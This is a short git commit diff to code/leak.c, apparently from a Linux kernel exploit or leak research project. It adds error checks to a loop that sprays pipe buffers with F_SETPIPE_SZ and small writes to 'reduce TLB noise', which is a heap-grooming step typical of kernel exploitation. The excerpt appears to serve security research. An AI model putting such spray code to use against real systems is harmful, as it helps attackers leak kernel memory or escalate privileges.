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twoneis 2025-04-25 08:27:24 +02:00
parent 41be12989a
commit 8173bc6b20
1 changed files with 13 additions and 3 deletions
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16
code/leak.c
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@ -48,9 +48,19 @@ main(void)
printf("main: spray to reduce TLB noise part 1: %u objects\n", printf("main: spray to reduce TLB noise part 1: %u objects\n",
PIPE_BUFFER); PIPE_BUFFER);
for (size_t i = 0; i < SPRAY; i++) { for (size_t i = 0; i < SPRAY; i++) {
pipe2(pipes[i], O_NONBLOCK); int ret;
fcntl(pipes[i][0], F_SETPIPE_SZ, 2 << 12); ret = pipe2(pipes[i], O_NONBLOCK);
write(pipes[i][1], buffer, 8); if (ret < 0) {
printf("main: error: pipe2: object %lu\n", i);
}
ret = fcntl(pipes[i][0], F_SETPIPE_SZ, 2 << 12);
if (ret < 0) {
printf("main: error: fcntl: object %lu\n", i);
}
ret = write(pipes[i][1], buffer, 8);
if (ret < 0) {
printf("main: error: write: object %lu\n", i);
}
} }
// May need socket and two parts instead // May need socket and two parts instead